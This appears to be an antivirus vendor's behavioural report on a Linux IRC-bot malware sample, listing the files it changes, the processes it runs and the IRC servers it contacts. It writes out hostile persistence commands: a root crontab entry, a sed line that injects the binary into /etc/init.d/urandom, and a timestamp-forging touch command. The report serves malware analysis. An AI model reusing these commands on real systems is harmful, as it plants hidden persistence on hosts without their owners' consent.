Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/init.d/sedhnJjSH
- /etc/init.d/urandom
Malicious functions:
Launches itself as a daemon
Manages services:
- service --status-all
Launches processes:
- sh -c (crontab -l| grep -v c855a922; echo \"*/10 * * * * /root/c855a922 >/dev/null 2>&1\") | crontab -
- crontab -l
- crontab -
- grep -v c855a922
- /root/c855a922
- sh -c service --status-all | grep + | tail -n 1
- grep +
- tail -n 1
- sh -c sed -i 's/.*END.*/&\n\/root\/c855a922/' /etc/init.d/urandom
- sed -i s/.*END.*/&\n\/root\/c855a922/ /etc/init.d/urandom
- sh -c touch --reference=$(which id) /etc/init.d/urandom
- which id
- touch --reference=/usr/bin/id /etc/init.d/urandom
- sh -c netstat -unlt | grep tcp | cut -d \":\" -f2 | awk '{print $1}'| xargs
- grep tcp
- netstat -unlt
- cut -d : -f2
- xargs
- awk {print $1}
- /bin/echo 111 22 25 38110
- sh -c which sh
- which sh
- sh -c which bash
- which bash
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.e4xORP
- /etc/init.d/sedhnJjSH
Creates or modifies files:
- <SAMPLE_FULL_PATH>
- /var/spool/cron/crontabs/tmp.e4xORP
Network activity:
Connects to the following servers over the IRC protocol:
- Server: 54.##.77.221; Command: USER Linux 0 0 :box-i386 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u3 (2016-01-17) \n
- Server: 54.##.77.221; Command: NICK RT-i686-c855a922-FE49 \n
- Server: 54.##.77.221; Command: JOIN #XM bleh \n
DNS ASK:
- ne#####.kernel.directory
Other:
Collects RAM information
